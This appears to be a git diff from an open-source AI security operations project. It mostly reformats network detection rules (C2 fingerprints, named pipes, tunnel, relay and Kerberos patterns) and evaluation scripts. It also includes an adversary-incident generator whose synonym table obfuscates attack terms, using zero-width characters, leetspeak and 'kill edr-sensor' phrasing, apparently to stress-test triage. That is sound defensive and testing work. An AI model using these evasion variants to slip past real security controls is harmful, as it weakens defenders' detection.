+ fp=["IoT device with broken TLS stack"],
+ playbook="tpl-command-and-control",
+ ),
+ S(
+ slug="net-tls-self-signed-egress",
+ name="Self-Signed Certificate Presented On Public IP",
+ severity="high",
+ mitre=["t1573.002"],
+ product="proxy",
+ service="tls",
+ when={"event_type": "tls_session", "cert_self_signed": True, "destination_is_internal": False},
+ fp=["Misconfigured small SaaS vendor"],
+ playbook="tpl-command-and-control",
+ ),
+ S(
+ slug="net-tls-suspicious-cipher",
+ name="TLS Negotiated Weak Cipher Suite",
+ severity="medium",
+ mitre=["t1600.001"],
+ product="proxy",
+ service="tls",
+ when={"event_type": "tls_session", "negotiated_cipher_contains_any": ["NULL", "EXPORT", "RC4", "DES"]},
+ fp=["Legacy device support"],
+ playbook="tpl-defense-evasion",
+ ),
+ S(
+ slug="net-jarm-cobalt-strike",
+ name="JARM Fingerprint Matches Known Cobalt Strike Profile",
+ severity="critical",
+ mitre=["t1573.002"],
+ product="proxy",
+ service="tls",
+ when={
+ "event_type": "tls_session",
+ "jarm_in": [
+ "07d14d16d21d21d07c42d41d00041d24a458a375eef0c576d23a7bab9a9fb1",
+ "07d19d12d21d21d00042d43d00043d4f51b7c8b9af6b1c7c2a3d4e5f6a7b8c9",
+ ],
+ },
+ fp=[FP_PENTEST],
+ playbook="tpl-command-and-control",
+ ),
+ S(
+ slug="net-jarm-sliver",
+ name="JARM Fingerprint Matches Known Sliver Profile",
+ severity="critical",
+ mitre=["t1573.002"],
+ product="proxy",
+ service="tls",
+ when={"event_type": "tls_session", "jarm_in": ["3fd3fd0003fd3fd03fd3fd3fd3fd3fd3a458a375eef0c576d23a7bab9a9fb1"]},
+ fp=[FP_PENTEST],
+ playbook="tpl-command-and-control",
+ ),
+ S(
+ slug="net-http-gzip-mime-mismatch",
+ name="HTTP Response MIME And Content-Encoding Mismatch",
+ severity="medium",
+ mitre=["t1027"],
+ product="proxy",
+ service="http",
+ when={
+ "event_type": "http_response",
+ "mime_type_in": ["application/octet-stream"],
+ "content_encoding": "gzip",
+ "filename_endswith_any": [".jpg", ".png", ".gif"],
+ },
+ fp=["Misconfigured CDN"],
+ playbook="tpl-command-and-control",
+ ),
+ S(
+ slug="net-http-large-post-from-workstation",
+ name="Large HTTP POST From Workstation To Public IP",
+ severity="medium",
+ mitre=["t1041"],
+ product="proxy",
+ service="http",
+ when={
+ "event_type": "http_request",
+ "method": "POST",
+ "request_size_bytes_gt": 50000000,
+ "src_role": "workstation",
+ "destination_is_internal": False,
+ },
+ fp=["Sanctioned cloud upload"],
+ playbook="tpl-exfiltration",
+ ),
]
@@ -133,38 +330,94 @@ HTTP_TLS_RULES: list[dict] = [
# Tunnels / proxy (8)
# ---------------------------------------------------------------------------
TUNNEL_RULES: list[dict] = [
- S(slug="net-ssh-reverse-tunnel", name="Outbound SSH With -R Reverse-Tunnel Flag",
- severity="high", mitre=["t1572"], product="proxy", service="ssh",
- when={"event_type": "ssh_command", "argv_contains": "-R"},
- fp=["Engineer working with vendor"], playbook="tpl-command-and-control"),
- S(slug="net-tor-egress-corp", name="Tor Connection From Corporate Workstation",
- severity="high", mitre=["t1090.003"], product="proxy", service="tls",
- when={"event_type": "tls_session", "destination_in_known_tor_relay": True, "src_role": "workstation"},
- fp=["Threat-intel research workstation"], playbook="tpl-command-and-control"),
- S(slug="net-icmp-large-payload", name="ICMP Echo With Unusually Large Payload",
- severity="medium", mitre=["t1095"], product="proxy", service="icmp",
- when={"event_type": "icmp", "payload_size_bytes_gt": 1024},
- fp=["MTU diagnostic"], playbook="tpl-command-and-control"),
- S(slug="net-gre-from-non-network-device", name="GRE Tunnel Initiated By Non-Network Host",
- severity="medium", mitre=["t1572"], product="proxy", service="netflow",
- when={"event_type": "flow", "protocol_number": 47, "src_role_in": ["workstation", "server"]},
- fp=["Approved overlay agent"], playbook="tpl-command-and-control"),
- S(slug="net-wireguard-handshake-from-user", name="WireGuard Handshake From User Workstation",
- severity="medium", mitre=["t1572"], product="proxy", service="netflow",
- when={"event_type": "flow", "destination_port": 51820, "src_role": "workstation"},
- fp=["Approved corporate VPN tier"], playbook="tpl-command-and-control"),
- S(slug="net-vpn-from-datacenter", name="Corporate VPN Login Originating From Datacenter ASN",
- severity="medium", mitre=["t1078.004"], product="vpn", service="auth",
- when={"event_type": "vpn_auth", "src_asn_type": "hosting"},
- fp=["Mobile carrier identified as hosting (false positive)"], playbook="tpl-credential-access"),
- S(slug="net-tor-introduction-onion", name="Tor Introduction To Hidden Service From Corp Host",
- severity="critical", mitre=["t1090.003"], product="proxy", service="tls",
- when={"event_type": "tor_circuit_intro", "circuit_purpose": "HS_CLIENT_INTRO"},
- fp=[FP_PENTEST], playbook="tpl-command-and-control"),
- S(slug="net-cloudflared-tunnel-egress", name="Cloudflared Tunnel Started From Workstation",
- severity="medium", mitre=["t1572"], product="proxy", service="netflow",
- when={"event_type": "tls_session", "sni_endswith_any": ["argotunnel.com", "tcp.cfargotunnel.com"], "src_role": "workstation"},
- fp=["Authorized engineering tunnel"], playbook="tpl-command-and-control"),
+ S(
+ slug="net-ssh-reverse-tunnel",
+ name="Outbound SSH With -R Reverse-Tunnel Flag",
+ severity="high",
+ mitre=["t1572"],
+ product="proxy",
+ service="ssh",
+ when={"event_type": "ssh_command", "argv_contains": "-R"},
+ fp=["Engineer working with vendor"],
+ playbook="tpl-command-and-control",
+ ),
+ S(
+ slug="net-tor-egress-corp",
+ name="Tor Connection From Corporate Workstation",
+ severity="high",
+ mitre=["t1090.003"],
+ product="proxy",
+ service="tls",
+ when={"event_type": "tls_session", "destination_in_known_tor_relay": True, "src_role": "workstation"},
+ fp=["Threat-intel research workstation"],
+ playbook="tpl-command-and-control",
+ ),
+ S(
+ slug="net-icmp-large-payload",
+ name="ICMP Echo With Unusually Large Payload",
+ severity="medium",
+ mitre=["t1095"],
+ product="proxy",
+ service="icmp",
+ when={"event_type": "icmp", "payload_size_bytes_gt": 1024},
+ fp=["MTU diagnostic"],
+ playbook="tpl-command-and-control",
+ ),
+ S(
+ slug="net-gre-from-non-network-device",
+ name="GRE Tunnel Initiated By Non-Network Host",
+ severity="medium",
+ mitre=["t1572"],
+ product="proxy",
+ service="netflow",
+ when={"event_type": "flow", "protocol_number": 47, "src_role_in": ["workstation", "server"]},
+ fp=["Approved overlay agent"],
+ playbook="tpl-command-and-control",
+ ),
+ S(
+ slug="net-wireguard-handshake-from-user",
+ name="WireGuard Handshake From User Workstation",
+ severity="medium",
+ mitre=["t1572"],
+ product="proxy",
+ service="netflow",
+ when={"event_type": "flow", "destination_port": 51820, "src_role": "workstation"},
+ fp=["Approved corporate VPN tier"],
+ playbook="tpl-command-and-control",
+ ),
+ S(
+ slug="net-vpn-from-datacenter",
+ name="Corporate VPN Login Originating From Datacenter ASN",
+ severity="medium",
+ mitre=["t1078.004"],
+ product="vpn",
+ service="auth",
+ when={"event_type": "vpn_auth", "src_asn_type": "hosting"},
+ fp=["Mobile carrier identified as hosting (false positive)"],
+ playbook="tpl-credential-access",
+ ),
+ S(
+ slug="net-tor-introduction-onion",
+ name="Tor Introduction To Hidden Service From Corp Host",
+ severity="critical",
+ mitre=["t1090.003"],
+ product="proxy",
+ service="tls",
+ when={"event_type": "tor_circuit_intro", "circuit_purpose": "HS_CLIENT_INTRO"},
+ fp=[FP_PENTEST],
+ playbook="tpl-command-and-control",
+ ),
+ S(
+ slug="net-cloudflared-tunnel-egress",
+ name="Cloudflared Tunnel Started From Workstation",
+ severity="medium",
+ mitre=["t1572"],
+ product="proxy",
+ service="netflow",
+ when={"event_type": "tls_session", "sni_endswith_any": ["argotunnel.com", "tcp.cfargotunnel.com"], "src_role": "workstation"},
+ fp=["Authorized engineering tunnel"],
+ playbook="tpl-command-and-control",
+ ),
]
@@ -172,46 +425,121 @@ TUNNEL_RULES: list[dict] = [
# Lateral / SMB / RPC (10)
# ---------------------------------------------------------------------------
LATERAL_RULES: list[dict] = [
- S(slug="net-smbv1-egress", name="SMB Version 1 Negotiated In Network Flow",
- severity="high", mitre=["t1021.002"], product="firewall", service="netflow",
- when={"event_type": "smb_negotiate", "dialect": "SMB 1.0"},
- fp=["Legacy printer / NAS (allow-listed)"], playbook="tpl-defense-evasion"),
- S(slug="net-smb-write-netlogon", name="SMB Write To NETLOGON Share",
- severity="critical", mitre=["t1570"], product="firewall", service="netflow",
- when={"event_type": "smb_write", "share_name": "NETLOGON"},
- fp=["AD admin GPO push from PAW"], playbook="tpl-lateral-movement"),
- S(slug="net-smb-write-sysvol", name="SMB Write To SYSVOL Share From Non-DC",
- severity="high", mitre=["t1570"], product="firewall", service="netflow",
- when={"event_type": "smb_write", "share_name": "SYSVOL", "src_role_neq": "domain-controller"},
- fp=["Authorised AD migration tool"], playbook="tpl-lateral-movement"),
- S(slug="net-ntlm-relay-pattern", name="NTLM Relay Indicator (Same Challenge Reused Across Hosts)",
- severity="critical", mitre=["t1557.001"], product="firewall", service="netflow",
- when={"event_type": "ntlm_auth", "challenge_reused_across_hosts": True},
- fp=["NTLM relay tested in lab"], playbook="tpl-credential-access"),
- S(slug="net-rpc-remote-registry", name="RPC Remote Registry Write From Workstation Subnet",
- severity="high", mitre=["t1112"], product="firewall", service="rpc",
- when={"event_type": "rpc_call", "interface": "winreg", "operation": "BaseRegSetValue", "src_role": "workstation"},
- fp=["IT remote support tool"], playbook="tpl-lateral-movement"),
- S(slug="net-rpc-task-scheduler-remote", name="RPC Task Scheduler Create From Workstation",
- severity="high", mitre=["t1053.005"], product="firewall", service="rpc",
- when={"event_type": "rpc_call", "interface": "atsvc", "src_role": "workstation"},
- fp=["IT remote support tool"], playbook="tpl-persistence"),
- S(slug="net-winrm-ssl-from-workstation", name="WinRM HTTPS From Workstation To DC",
- severity="high", mitre=["t1021.006"], product="firewall", service="netflow",
- when={"event_type": "flow", "destination_port_in": [5985, 5986], "src_role": "workstation", "destination_role": "domain-controller"},
- fp=["Authorised AD admin from PAW"], playbook="tpl-lateral-movement"),
- S(slug="net-cobalt-strike-named-pipe", name="Cobalt Strike Default Named Pipe Pattern",
- severity="critical", mitre=["t1573.002"], product="firewall", service="netflow",
- when={"event_type": "smb_pipe", "pipe_name_in": ["msagent_", "MSSE-", "postex_", "status_"]},
- fp=[FP_PENTEST], playbook="tpl-command-and-control"),
- S(slug="net-sliver-named-pipe", name="Sliver Default Named Pipe Pattern",
- severity="critical", mitre=["t1573"], product="firewall", service="netflow",
- when={"event_type": "smb_pipe", "pipe_name_startswith": "sliver_"},
- fp=[FP_PENTEST], playbook="tpl-command-and-control"),
- S(slug="net-empire-default-uri", name="Empire C2 Default URI Pattern Observed",
- severity="critical", mitre=["t1071.001"], product="proxy", service="http",
- when={"event_type": "http_request", "uri_endswith_any": ["/admin/get.php", "/news.php", "/login/process.php"]},
- fp=[FP_PENTEST], playbook="tpl-command-and-control"),
+ S(
+ slug="net-smbv1-egress",
+ name="SMB Version 1 Negotiated In Network Flow",
+ severity="high",
+ mitre=["t1021.002"],
+ product="firewall",
+ service="netflow",
+ when={"event_type": "smb_negotiate", "dialect": "SMB 1.0"},
+ fp=["Legacy printer / NAS (allow-listed)"],
+ playbook="tpl-defense-evasion",
+ ),
+ S(
+ slug="net-smb-write-netlogon",
+ name="SMB Write To NETLOGON Share",
+ severity="critical",
+ mitre=["t1570"],
+ product="firewall",
+ service="netflow",
+ when={"event_type": "smb_write", "share_name": "NETLOGON"},
+ fp=["AD admin GPO push from PAW"],
+ playbook="tpl-lateral-movement",
+ ),
+ S(
+ slug="net-smb-write-sysvol",
+ name="SMB Write To SYSVOL Share From Non-DC",
+ severity="high",
+ mitre=["t1570"],
+ product="firewall",
+ service="netflow",
+ when={"event_type": "smb_write", "share_name": "SYSVOL", "src_role_neq": "domain-controller"},
+ fp=["Authorised AD migration tool"],
+ playbook="tpl-lateral-movement",
+ ),
+ S(
+ slug="net-ntlm-relay-pattern",
+ name="NTLM Relay Indicator (Same Challenge Reused Across Hosts)",
+ severity="critical",
+ mitre=["t1557.001"],
+ product="firewall",
+ service="netflow",
+ when={"event_type": "ntlm_auth", "challenge_reused_across_hosts": True},
+ fp=["NTLM relay tested in lab"],
+ playbook="tpl-credential-access",
+ ),
+ S(
+ slug="net-rpc-remote-registry",
+ name="RPC Remote Registry Write From Workstation Subnet",
+ severity="high",
+ mitre=["t1112"],
+ product="firewall",
+ service="rpc",
+ when={"event_type": "rpc_call", "interface": "winreg", "operation": "BaseRegSetValue", "src_role": "workstation"},
+ fp=["IT remote support tool"],
+ playbook="tpl-lateral-movement",
+ ),
+ S(
+ slug="net-rpc-task-scheduler-remote",
+ name="RPC Task Scheduler Create From Workstation",
+ severity="high",
+ mitre=["t1053.005"],
+ product="firewall",
+ service="rpc",
+ when={"event_type": "rpc_call", "interface": "atsvc", "src_role": "workstation"},
+ fp=["IT remote support tool"],
+ playbook="tpl-persistence",
+ ),
+ S(
+ slug="net-winrm-ssl-from-workstation",
+ name="WinRM HTTPS From Workstation To DC",
+ severity="high",
+ mitre=["t1021.006"],
+ product="firewall",
+ service="netflow",
+ when={
+ "event_type": "flow",
+ "destination_port_in": [5985, 5986],
+ "src_role": "workstation",
+ "destination_role": "domain-controller",
+ },
+ fp=["Authorised AD admin from PAW"],
+ playbook="tpl-lateral-movement",
+ ),
+ S(
+ slug="net-cobalt-strike-named-pipe",
+ name="Cobalt Strike Default Named Pipe Pattern",
+ severity="critical",
+ mitre=["t1573.002"],
+ product="firewall",
+ service="netflow",
+ when={"event_type": "smb_pipe", "pipe_name_in": ["msagent_", "MSSE-", "postex_", "status_"]},
+ fp=[FP_PENTEST],
+ playbook="tpl-command-and-control",
+ ),
+ S(
+ slug="net-sliver-named-pipe",
+ name="Sliver Default Named Pipe Pattern",
+ severity="critical",
+ mitre=["t1573"],
+ product="firewall",
+ service="netflow",
+ when={"event_type": "smb_pipe", "pipe_name_startswith": "sliver_"},
+ fp=[FP_PENTEST],
+ playbook="tpl-command-and-control",
+ ),
+ S(
+ slug="net-empire-default-uri",
+ name="Empire C2 Default URI Pattern Observed",
+ severity="critical",
+ mitre=["t1071.001"],
+ product="proxy",
+ service="http",
+ when={"event_type": "http_request", "uri_endswith_any": ["/admin/get.php", "/news.php", "/login/process.php"]},
+ fp=[FP_PENTEST],
+ playbook="tpl-command-and-control",
+ ),
]
@@ -219,26 +547,65 @@ LATERAL_RULES: list[dict] = [
# Auth / protocol abuse (5)
# ---------------------------------------------------------------------------
AUTH_RULES: list[dict] = [
- S(slug="net-kerberos-rc4-ticket", name="Kerberos Service Ticket Issued With RC4 Encryption",
- severity="high", mitre=["t1558.003"], product="windows", service="kerberos",
- when={"event_id": 4769, "ticket_encryption_type": "0x17"},
- fp=["Legacy app forced RC4 (allow-listed)"], playbook="tpl-credential-access"),
- S(slug="net-kerberos-pre-auth-disabled", name="Kerberos Account With Pre-Auth Disabled Used",
- severity="high", mitre=["t1558.004"], product="windows", service="kerberos",
- when={"event_id": 4768, "preauth_required": False},
- fp=["Legacy SCM service account (must be ticketed)"], playbook="tpl-credential-access"),
- S(slug="net-radius-pap-clear", name="RADIUS Authentication Used PAP (Cleartext Password)",
- severity="high", mitre=["t1110"], product="radius", service="auth",
- when={"event_type": "radius_auth", "auth_method": "PAP"},
- fp=["Legacy device that only supports PAP (must be ticketed)"], playbook="tpl-credential-access"),
- S(slug="net-ldap-signing-disabled", name="LDAP Signing Disabled On Domain Controller",
- severity="high", mitre=["t1557.001"], product="windows", service="ldap",
- when={"event_id": 2889, "ldap_signing_required": False},
- fp=["Vendor agent that doesn't sign (deprecated)"], playbook="tpl-credential-access"),
- S(slug="net-ldap-bloodhound-pattern", name="LDAP Search Pattern Matches BloodHound Collection",
- severity="high", mitre=["t1087.002"], product="windows", service="ldap",
- when={"event_type": "ldap_search", "filter_contains_any": ["objectCategory=group", "objectClass=user", "trustedDomain"], "search_count_5min_gt": 100},
- fp=[FP_PENTEST], playbook="tpl-discovery"),
+ S(
+ slug="net-kerberos-rc4-ticket",
+ name="Kerberos Service Ticket Issued With RC4 Encryption",
+ severity="high",
+ mitre=["t1558.003"],
+ product="windows",
+ service="kerberos",
+ when={"event_id": 4769, "ticket_encryption_type": "0x17"},
+ fp=["Legacy app forced RC4 (allow-listed)"],
+ playbook="tpl-credential-access",
+ ),
+ S(
+ slug="net-kerberos-pre-auth-disabled",
+ name="Kerberos Account With Pre-Auth Disabled Used",
+ severity="high",
+ mitre=["t1558.004"],
+ product="windows",
+ service="kerberos",
+ when={"event_id": 4768, "preauth_required": False},
+ fp=["Legacy SCM service account (must be ticketed)"],
+ playbook="tpl-credential-access",
+ ),
+ S(
+ slug="net-radius-pap-clear",
+ name="RADIUS Authentication Used PAP (Cleartext Password)",
+ severity="high",
+ mitre=["t1110"],
+ product="radius",
+ service="auth",
+ when={"event_type": "radius_auth", "auth_method": "PAP"},
+ fp=["Legacy device that only supports PAP (must be ticketed)"],
+ playbook="tpl-credential-access",
+ ),
+ S(
+ slug="net-ldap-signing-disabled",
+ name="LDAP Signing Disabled On Domain Controller",
+ severity="high",
+ mitre=["t1557.001"],
+ product="windows",
+ service="ldap",
+ when={"event_id": 2889, "ldap_signing_required": False},
+ fp=["Vendor agent that doesn't sign (deprecated)"],
+ playbook="tpl-credential-access",
+ ),
+ S(
+ slug="net-ldap-bloodhound-pattern",
+ name="LDAP Search Pattern Matches BloodHound Collection",
+ severity="high",
+ mitre=["t1087.002"],
+ product="windows",
+ service="ldap",
+ when={
+ "event_type": "ldap_search",
+ "filter_contains_any": ["objectCategory=group", "objectClass=user", "trustedDomain"],
+ "search_count_5min_gt": 100,
+ },
+ fp=[FP_PENTEST],
+ playbook="tpl-discovery",
+ ),
]
@@ -246,32 +613,46 @@ AUTH_RULES: list[dict] = [
# Exfil / wireless / misc (3)
# ---------------------------------------------------------------------------
EXFIL_WIRELESS_RULES: list[dict] = [
- S(slug="net-icmp-high-entropy-payload", name="ICMP Echo With High-Entropy Payload",
- severity="high", mitre=["t1095"], product="firewall", service="netflow",
- when={"event_type": "icmp", "payload_entropy_gt": 7.5, "payload_size_bytes_gt": 64},
- fp=["MTU diagnostic"], playbook="tpl-exfiltration"),
- S(slug="net-dhcp-starvation", name="DHCP Starvation: Rapid Lease Churn From Single MAC Range",
- severity="high", mitre=["t1498"], product="firewall", service="dhcp",
- when={"event_type": "dhcp", "leases_per_minute_per_relay_gt": 200},
- fp=["Conference / event Wi-Fi"], playbook="tpl-impact"),
- S(slug="net-stp-topology-change-from-edge", name="STP Topology Change Advertised By Edge Port",
- severity="medium", mitre=["t1498"], product="switch", service="stp",
- when={"event_type": "stp_tcn", "ingress_port_role": "edge"},
- fp=["Approved network change"], playbook="tpl-impact"),
+ S(
+ slug="net-icmp-high-entropy-payload",
+ name="ICMP Echo With High-Entropy Payload",
+ severity="high",
+ mitre=["t1095"],
+ product="firewall",
+ service="netflow",
+ when={"event_type": "icmp", "payload_entropy_gt": 7.5, "payload_size_bytes_gt": 64},
+ fp=["MTU diagnostic"],
+ playbook="tpl-exfiltration",
+ ),
+ S(
+ slug="net-dhcp-starvation",
+ name="DHCP Starvation: Rapid Lease Churn From Single MAC Range",
+ severity="high",
+ mitre=["t1498"],
+ product="firewall",
+ service="dhcp",
+ when={"event_type": "dhcp", "leases_per_minute_per_relay_gt": 200},
+ fp=["Conference / event Wi-Fi"],
+ playbook="tpl-impact",
+ ),
+ S(
+ slug="net-stp-topology-change-from-edge",
+ name="STP Topology Change Advertised By Edge Port",
+ severity="medium",
+ mitre=["t1498"],
+ product="switch",
+ service="stp",
+ when={"event_type": "stp_tcn", "ingress_port_role": "edge"},
+ fp=["Approved network change"],
+ playbook="tpl-impact",
+ ),
]
# ---------------------------------------------------------------------------
# Aggregate
# ---------------------------------------------------------------------------
-NETWORK_EXTRA: list[dict] = (
- DNS_RULES
- + HTTP_TLS_RULES
- + TUNNEL_RULES
- + LATERAL_RULES
- + AUTH_RULES
- + EXFIL_WIRELESS_RULES
-)
+NETWORK_EXTRA: list[dict] = DNS_RULES + HTTP_TLS_RULES + TUNNEL_RULES + LATERAL_RULES + AUTH_RULES + EXFIL_WIRELESS_RULES
__all__ = [
diff --git a/scripts/eval_mitre_accuracy.py b/scripts/eval_mitre_accuracy.py
index a3d038fd2..06a3afde0 100755
--- a/scripts/eval_mitre_accuracy.py
+++ b/scripts/eval_mitre_accuracy.py
@@ -11,6 +11,7 @@ Exit codes:
This script is also the entrypoint for the p1-eval CI step.
"""
+
from __future__ import annotations
import argparse
diff --git a/scripts/eval_telemetry.py b/scripts/eval_telemetry.py
index 0f919f9ab..9bcd88100 100644
--- a/scripts/eval_telemetry.py
+++ b/scripts/eval_telemetry.py
@@ -71,18 +71,18 @@ from typing import Any
# benchmark.md — do not treat these as authoritative for billing.
RATE_CARD_2025_USD_PER_M: dict[str, dict[str, float]] = {
# OpenAI
- "gpt-4o": {"input": 2.50, "output": 10.00},
- "gpt-4o-mini": {"input": 0.15, "output": 0.60},
- "gpt-4-turbo": {"input": 10.00, "output": 30.00},
+ "gpt-4o": {"input": 2.50, "output": 10.00},
+ "gpt-4o-mini": {"input": 0.15, "output": 0.60},
+ "gpt-4-turbo": {"input": 10.00, "output": 30.00},
# Placeholder for the next-gen model name used in the v8 plan; pricing
# mirrors gpt-4o until the public price for the real "gpt-5" lands.
- "gpt-5": {"input": 5.00, "output": 15.00},
+ "gpt-5": {"input": 5.00, "output": 15.00},
# Anthropic
- "claude-3.5-sonnet": {"input": 3.00, "output": 15.00},
- "claude-3-haiku": {"input": 0.25, "output": 1.25},
+ "claude-3.5-sonnet": {"input": 3.00, "output": 15.00},
+ "claude-3-haiku": {"input": 0.25, "output": 1.25},
# Google
- "gemini-1.5-pro": {"input": 1.25, "output": 5.00},
- "gemini-1.5-flash": {"input": 0.075, "output": 0.30},
+ "gemini-1.5-pro": {"input": 1.25, "output": 5.00},
+ "gemini-1.5-flash": {"input": 0.075, "output": 0.30},
}
# Models we report against by default. Picking a "headline" model lets the
@@ -118,10 +118,10 @@ _COMPLETION_BASE_TOKENS = 800
# Severity scaling for completion length. Higher-severity incidents get
# longer reports / response plans because the response section expands.
_SEVERITY_COMPLETION_FACTOR = {
- "info": 0.5,
- "low": 0.7,
- "medium": 1.0,
- "high": 1.4,
+ "info": 0.5,
+ "low": 0.7,
+ "medium": 1.0,
+ "high": 1.4,
"critical": 1.8,
}
@@ -129,9 +129,7 @@ _SEVERITY_COMPLETION_FACTOR = {
# Default eval dataset path (relative to repo root).
# ---------------------------------------------------------------------------
_REPO_ROOT = Path(__file__).resolve().parent.parent
-DEFAULT_INCIDENTS_PATH = (
- _REPO_ROOT / "services" / "agents" / "tests" / "eval_data" / "synthetic_incidents.json"
-)
+DEFAULT_INCIDENTS_PATH = _REPO_ROOT / "services" / "agents" / "tests" / "eval_data" / "synthetic_incidents.json"
# ---------------------------------------------------------------------------
@@ -161,10 +159,7 @@ def cost_usd(
"""
rates = rate_card if rate_card is not None else RATE_CARD_2025_USD_PER_M
entry = rates.get(model) or rates.get(DEFAULT_MODEL) or {"input": 2.5, "output": 10.0}
- return (
- (prompt_tokens / 1_000_000.0) * entry["input"]
- + (completion_tokens / 1_000_000.0) * entry["output"]
- )
+ return (prompt_tokens / 1_000_000.0) * entry["input"] + (completion_tokens / 1_000_000.0) * entry["output"]
# ---------------------------------------------------------------------------
@@ -252,9 +247,13 @@ def _summarise(values: list[float], decimals: int = 4) -> dict[str, float]:
if not values:
return {
"count": 0,
- "min": 0.0, "max": 0.0,
- "mean": 0.0, "median": 0.0,
- "p50": 0.0, "p95": 0.0, "p99": 0.0,
+ "min": 0.0,
+ "max": 0.0,
+ "mean": 0.0,
+ "median": 0.0,
+ "p50": 0.0,
+ "p95": 0.0,
+ "p99": 0.0,
}
return {
"count": len(values),
@@ -328,10 +327,7 @@ def compute_per_investigation_telemetry(
rates = rate_card if rate_card is not None else RATE_CARD_2025_USD_PER_M
entry = rates.get(model) or rates.get(DEFAULT_MODEL) or {"input": 2.5, "output": 10.0}
- records: list[InvestigationTelemetry] = [
- _telemetry_for_incident(inc, model=model, rate_card=rate_card)
- for inc in incidents
- ]
+ records: list[InvestigationTelemetry] = [_telemetry_for_incident(inc, model=model, rate_card=rate_card) for inc in incidents]
prompt_tokens = [r.prompt_tokens for r in records]
completion_tokens = [r.completion_tokens for r in records]
@@ -341,11 +337,11 @@ def compute_per_investigation_telemetry(
aggregate = {
"tokens": {
- "prompt": _summarise(prompt_tokens, decimals=2),
+ "prompt": _summarise(prompt_tokens, decimals=2),
"completion": _summarise(completion_tokens, decimals=2),
- "total": _summarise(total_tokens, decimals=2),
+ "total": _summarise(total_tokens, decimals=2),
},
- "usd": _summarise(usds, decimals=6),
+ "usd": _summarise(usds, decimals=6),
"latency_ms": _summarise(latencies, decimals=4),
}
@@ -356,17 +352,19 @@ def compute_per_investigation_telemetry(
per_template: list[dict[str, Any]] = []
for tpl_id in sorted(by_template):
bucket = by_template[tpl_id]
- per_template.append({
- "template_id": tpl_id,
- "incidents": len(bucket),
- "tokens": {
- "prompt": _summarise([r.prompt_tokens for r in bucket], decimals=2),
- "completion": _summarise([r.completion_tokens for r in bucket], decimals=2),
- "total": _summarise([r.total_tokens for r in bucket], decimals=2),
- },
- "usd": _summarise([r.usd for r in bucket], decimals=6),
- "latency_ms": _summarise([r.latency_ms for r in bucket], decimals=4),
- })
+ per_template.append(
+ {
+ "template_id": tpl_id,
+ "incidents": len(bucket),
+ "tokens": {
+ "prompt": _summarise([r.prompt_tokens for r in bucket], decimals=2),
+ "completion": _summarise([r.completion_tokens for r in bucket], decimals=2),
+ "total": _summarise([r.total_tokens for r in bucket], decimals=2),
+ },
+ "usd": _summarise([r.usd for r in bucket], decimals=6),
+ "latency_ms": _summarise([r.latency_ms for r in bucket], decimals=4),
+ }
+ )
incident_records = (
[
@@ -404,9 +402,7 @@ def compute_per_investigation_telemetry(
def _cli() -> None:
import argparse
- parser = argparse.ArgumentParser(
- description="Per-investigation token/USD telemetry (deterministic substrate)."
- )
+ parser = argparse.ArgumentParser(description="Per-investigation token/USD telemetry (deterministic substrate).")
parser.add_argument("--incidents", type=Path, default=DEFAULT_INCIDENTS_PATH)
parser.add_argument("--model", default=DEFAULT_MODEL)
parser.add_argument(
diff --git a/scripts/export_openapi.py b/scripts/export_openapi.py
index ba5cbc668..d96891816 100755
--- a/scripts/export_openapi.py
+++ b/scripts/export_openapi.py
@@ -14,6 +14,7 @@ and calls ``app.openapi()`` to get the schema, then serialises it to YAML.
MIT License — AiSOC (open-source AI Security Operations Center)
"""
+
from __future__ import annotations
import argparse
@@ -63,8 +64,7 @@ def check_yaml(schema: dict, dest: Path) -> bool:
if existing != schema:
print(
- f"{dest.relative_to(REPO_ROOT)} is out of date.\n"
- " Run: python scripts/export_openapi.py then commit the result.",
+ f"{dest.relative_to(REPO_ROOT)} is out of date.\n" " Run: python scripts/export_openapi.py then commit the result.",
file=sys.stderr,
)
return False
diff --git a/scripts/generate_adversary_incidents.py b/scripts/generate_adversary_incidents.py
index 9740734b2..1c32441db 100644
--- a/scripts/generate_adversary_incidents.py
+++ b/scripts/generate_adversary_incidents.py
@@ -33,6 +33,7 @@ Usage:
python3 scripts/generate_adversary_incidents.py --report
python3 scripts/generate_adversary_incidents.py --out PATH
"""
+
from __future__ import annotations
import argparse
@@ -96,7 +97,6 @@ _SYNONYMS: dict[str, tuple[str, ...]] = {
"compromised npm": ("trojanized js-libs release", "doctored js-libs build", "polluted js-libs feed"),
"container image": ("workload bundle", "runtime workload artifact", "compute workload bundle"),
"wire transfer initial": ("ach instruction", "outgoing remittance", "treasury debit instruction"),
-
# TA0002 — Execution
"execution": ("payload delivery step", "binary launch", "code activation"),
"powershell": ("p0wer$hell", "p\u200bow\u200bersh\u200bell", "PoSh"),
@@ -119,7 +119,6 @@ _SYNONYMS: dict[str, tuple[str, ...]] = {
"stage-2 payload": ("second-tier dropper", "follow-on artifact", "next-tier blob"),
"vba": ("v\u200bba", "off1ce-automation language", "doc-embedded autom"),
"browser exploitation": ("client-side rendering abuse", "html-engine abuse", "DOM-engine abuse"),
-
# TA0003 — Persistence
"persistence": ("re-establish footing", "reboot survival", "long-term foothold"),
"registry run": ("hkcu autostart key", "winreg autorun stanza", "reg-autostart entry"),
@@ -137,7 +136,6 @@ _SYNONYMS: dict[str, tuple[str, ...]] = {
"office add-in": ("off1ce plugin slot", "productivity-suite extension", "doc-suite extension"),
"vsto": ("vs\u200bto", "off1ce add-in tooling", "off1ce plugin tooling"),
"outlook startup": ("mailer load-time slot", "messaging-app boot slot", "mail-client boot slot"),
-
# TA0004 — Privilege Escalation
"privilege escalation": ("rights step-up", "rights uplift", "level-up of identity"),
"escalation": ("rights step-up", "level-up", "rights uplift"),
@@ -152,7 +150,6 @@ _SYNONYMS: dict[str, tuple[str, ...]] = {
"fodhelper": ("f0dhelper", "trusted helper binary", "feature-on-demand helper"),
"suid": ("su\u200bid", "setuser bit", "setid-perm bit"),
"metadata service": ("im\u200bds endpoint", "m\u200betadata svc", "instance-info endpoint"),
-
# TA0005 — Defense Evasion
"defense evasion": ("av-d0dging", "control-skirting", "telemetry-d0dging"),
"obfuscat": ("scr@mbl", "deob h@rd'n", "morph"),
@@ -175,7 +172,6 @@ _SYNONYMS: dict[str, tuple[str, ...]] = {
"stop crowdstrike": ("disable cs-falcon", "halt edr-agent", "kill edr-sensor"),
"stop sysmon": ("disable sysmon-agent", "halt sysmon-collector", "kill sysmon-svc"),
"secure boot": ("s\u200becure boot", "verified boot chain", "boot integrity"),
-
# TA0006 — Credential Access
"credential": ("cred", "auth-token", "login secret"),
"brute force": ("repeated guess", "iterative login attempt", "dictionary attack"),
